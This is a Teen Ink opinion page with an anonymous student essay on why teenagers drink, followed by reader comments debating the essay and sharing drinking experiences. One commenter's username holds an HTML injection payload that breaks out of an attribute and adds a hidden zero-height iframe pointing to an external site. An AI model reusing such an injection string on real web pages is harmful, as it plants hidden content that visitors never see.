Why Do Teenagers Drink? | Teen Ink
  1. Home
  2. Opinion
  3. Why Do Teenagers Drink?

Why Do Teenagers Drink? MAG

By Anonymous

   Why is drinking alcohol so popular at the high school level? As a high school student, I think I have a thorough understanding of what is going on.

Most people would agree that alcohol can be dangerous and quite damaging, directly or indirectly. The only people who believe otherwise are either denying a known fact or are extremely ignorant.

Most people would agree that being drunk isn't very pleasurable since they lose control over many of their actions, and afterwards, as a direct result, feel darn sick. Personally, I feel as though vomiting isn't much fun, but maybe it's me.

Okay, let's be entirely honest. What enjoyment is gained from drinking? I think I have an answer, and I'll admit now I may be entirely off-base, but I have confidence in my theory: Drinking gives a sense of infantile satisfaction.

When I was a junior, my English teacher (to make a point) put an envelope on his desk that was labeled "dirty pictures" and he said nobody was to touch it. A child feels a strong curiosity when told s/he cannot drink alcohol. Every child loves to disobey the "rules." So s/he is compelled to try it. The reason why drinking is so popular among high school students is because it is considered fun and acceptable to break rules.

I have only one piece of advice for these drinkers: take responsibility for yourself and ask yourself why you are drinking. Teenagers couldn't give an intelligent answer to justify their actions. And "It's fun!" is not an intelligent answer. To put it nutshell: grow up, you are impressing no one but other immature people. n


Post a comment
Submit your own

Similar Articles

Previous Next
Opinion
Watch Your Rhetoric MAG
By Anonymous
Opinion
The Shock Factor MAG
By Anonymous
Opinion
Stop! MAG
By Anonymous
Opinion
Take Positive Action MAG
By Anonymous
Opinion
TV - Friend or Foe MAG
By Anonymous
Opinion
The Death Of A Princess MAG
By Anonymous

JOIN THE DISCUSSION

This article has 26 comments.

Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe> said...
on Jan. 12 2018 at 1:58 am
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
0 articles 0 photos 12292 comments
View profile
i love this so much!
dannn said...
on Nov. 13 2012 at 11:16 pm
how about you get why we drink from a real teenager. Quit trying to act like you know what we are thinking by using very descriptive and professional words. Its obvious i drink because when i drink i always have a great time. Because when i drink i do things that normally im am to embarassed or shy. alot of my best nights ive had have been when i was drunk  
nkwhatchamacallit BRONZE said...
on Nov. 6 2012 at 7:50 pm
nkwhatchamacallit BRONZE, Franklin, Wisconsin
1 article 0 photos 3 comments

Favorite Quote:
&quot;Knowledge is the best gift ever. No one can ever take it away from you.&quot;<br /> -- Mrs. Cheryl Johnson

View profile
Actually "escaping" from reality with drugs, makes reality worse.  I actually happen to like reality.... as I see it in a positive perspective.
nkwhatchamacallit BRONZE said...
on Nov. 6 2012 at 7:45 pm
nkwhatchamacallit BRONZE, Franklin, Wisconsin
1 article 0 photos 3 comments

Favorite Quote:
&quot;Knowledge is the best gift ever. No one can ever take it away from you.&quot;<br /> -- Mrs. Cheryl Johnson

View profile
Don't be a follower... ESPECIALLY if you don't enjoy being one.
nkwhatchamacallit BRONZE said...
on Nov. 6 2012 at 7:43 pm
nkwhatchamacallit BRONZE, Franklin, Wisconsin
1 article 0 photos 3 comments

Favorite Quote:
&quot;Knowledge is the best gift ever. No one can ever take it away from you.&quot;<br /> -- Mrs. Cheryl Johnson

View profile
Support D.A.R.E DRUG ABUSE RESIST EDUCATION  ***To Resist Drugs and Violence.***
smoremore said...
on Aug. 25 2012 at 1:16 pm
This is so true and it is sad that people have to get down that low to get attention but I say only your opinion matters. It's what you think of your self and it's always good to think good of your self. So for people who are down on their luck just hold your head up high and look ahead and know that the day ends and a new one begins.
Ashante212 said...
on Oct. 13 2011 at 7:01 pm
SOME KIDS JUST WANT ATTENTION FROM THEIR PARENTS AND NEED IT BAD SO I WOULDN'T GET MAD... I WOULD TRY TO HELP !
cookiezNcream said...
on Oct. 12 2011 at 5:06 pm
I think that is soo true because i am a teen and i get soo curious like alot.
eileentotheleft BRONZE said...
on Feb. 9 2011 at 1:13 pm
eileentotheleft BRONZE, Los Alamos, New Mexico
4 articles 0 photos 31 comments

Favorite Quote:
&quot;Perfectly perfect is fine (or so the story goes), but nature left all on her own will make the perfect rose.&quot; -Persnickity

View profile
I understand the point of this article; however, it was not a very good approach. The "extremely ignorant" comment is an attack comment, which is the opposite of what you want to do in this sort of writing. Honestly, this is a bad article. Try stepping outside of your opinions long enough to learn to write.
LIL BUBBLES said...
on Feb. 9 2011 at 11:06 am
I AGREE THAT TEENAGERS ARE TO SMALL TO BE DOING ALL THAT STUFF DELING WITH DRUGS OR ALCOHOL. I THINK THAT THEY SHOULD STOP BECAUSE THAT IS BAD 4 THEM.
Noitcif_Plup SILVER said...
on Jan. 18 2011 at 8:58 pm
Noitcif_Plup SILVER, Argenta, Illinois
5 articles 1 photo 8 comments

Favorite Quote:
&quot;It&#039;s only after we&#039;ve lost everything that we&#039;re free to do anything.&quot; - Tyler Durden

View profile
That is true. It is nice to escape reality for a little bit, but there are other ways like writing or watching a movie. It's not gonna make you feel as good as you would drinking (unless you get very sick like I do) or doing other kinds of drugs, but you'll feel better in the long run.
Noitcif_Plup SILVER said...
on Jan. 18 2011 at 8:54 pm
Noitcif_Plup SILVER, Argenta, Illinois
5 articles 1 photo 8 comments

Favorite Quote:
&quot;It&#039;s only after we&#039;ve lost everything that we&#039;re free to do anything.&quot; - Tyler Durden

View profile
Well I am a high school senior and I have been drunk only 3 times. I haven't had a sip in 2 years. I don't know why, but I think it starts out as social thing. If you want to be "cool" and have fun then you must drink or do other things..... I didn't enjoy any of the times I was drunk. I ended up just puking and sleeping through all 3 experiences. Some just must enjoy it I guess.
ktluvz ya said...
on Dec. 24 2010 at 9:46 am

i think tht is a really good point

 

jimmydane34 GOLD said...
on Dec. 5 2010 at 9:39 pm
jimmydane34 GOLD, Wood Ridge, New Jersey
10 articles 0 photos 9 comments

Favorite Quote:
Expose yourself to your deepest fear; after that, fear has no power, and the fear of freedom shrinks and vanishes. You are free.

View profile
why are people looking for an intelligent answer to a question that is so simplicit to answer. my answer to why i drink is to enjoy a night with good friends, what poetic intelligent answer do you expect. when i drink i never made a irrational action that has me regret something terribly nor do i puke. general teenage public population who do drinnk act dum and drink for a reason that is not rational. but general society is ignorant and act irrational in every aspect..not just the on alcoholic beverages
vlad81 said...
on Dec. 5 2010 at 10:02 am
are you a real teen? not a poser? b/c nobody uses the phrase "totally uncool" anymore... esp. uncool...
GiselleD. GOLD said...
on Dec. 5 2010 at 12:32 am
GiselleD. GOLD, Aurora, Colorado
11 articles 0 photos 17 comments

Favorite Quote:
Are you serious?

View profile
Have you ever had a drink? Not saying that I have, because I haven't, but people who actually do this seem to have a very different opinion to what you have said. I think, overall, it is a good article, I just think that maybe it's easier to speak on this subject when you have experienced it yourself, rather than speak on what you think it feels like for the ones that DO do it.
youranidiot said...
on Nov. 24 2010 at 7:13 am
You have like 8 typos, and as a teen who has drank how about the fact that alcohol lowers your inhibitions and make, makes you feel adventorous, and really helps white people like me dance. weather or not it's alllowed legally ,has nothing to do with it for most people, otherwise 45 year olds would drink.
theskeptist BRONZE said...
on Nov. 13 2010 at 1:29 am
theskeptist BRONZE, Colleyville, Texas
2 articles 0 photos 6 comments

Favorite Quote:
&quot;The reason why I refuse to take existentialism as just another French fashion or historical curiosity is that I think it has something very important to offer us... I&#039;m afraid were losing the real virtues of living life passionately in the sense of taking responsibility for who you are the ability to make something of yourself and feel good about life. Existentialism is often discussed as if it were a philosophy of despair, but I think the truth is just the opposite. Sartre, once interviewed, said he never felt once minute of despair in his life. One thing that comes out from reading these guys is not a sense of anguish about life so much as a real kind of exuberance, of feeling on top of it, its like your life is yours to create. Ive read the post modernists with some interest, even admiration, but when I read them I always have this awful nagging feeling that something absolutely essential is getting left out. The more you talk about a person as a social construction or as a confluence of forces or as being fragmented of marginalised, what you do is you open up a whole new world of excuses. And when sartre talks about responsibilty, he&#039;s not talking about something abstract. He&#039;s not taling about the kind of self or souls that theologians would talk about. Hes talking about you and me talking, making descisions, doing things, and taking the consequences. It might be true that there are six billion people in this world, and counting, but nevertheless -what you do makes a difference. It makes a difference, first of all, in material terms, to other people, and it sets an example. In short, I think the message here is that we shouuld never write ourselves off or see eachother as a victim of various forces. It&#039;s always our descision who we are.&quot;

View profile
I agree, this is very true
Stacy0543 said...
on Sep. 30 2010 at 10:14 pm
*CORRECTION! I meant I would NOT endorse it to anyone else.
Stacy0543 said...
on Sep. 30 2010 at 10:12 pm
I'm a teenage drinker, and I also smoke. You're right; I have no intelligent reason why I do it. I do it anyways though. I do it so I can escape my problems and not worry about them anymore. Any state of mind is better than reality. I have to just get away for awhile, and come back with a fresh set of eyes to sort out my problems. I think it gives us a little vacation so we come back refreshed and we haven't gone anywhere. That’s why I drink and smoke. I can't speak for anybody else, but that's why I do it. I don't think any reason is a justifiable reason for them to drink or smoke, because smoking is illegal. I still do it. Call me a hypocrite, I probably am. I'm okay with that. I'm not going to stop drinking or smoking but I would endorse it to younger kids, or anyone else for that matter.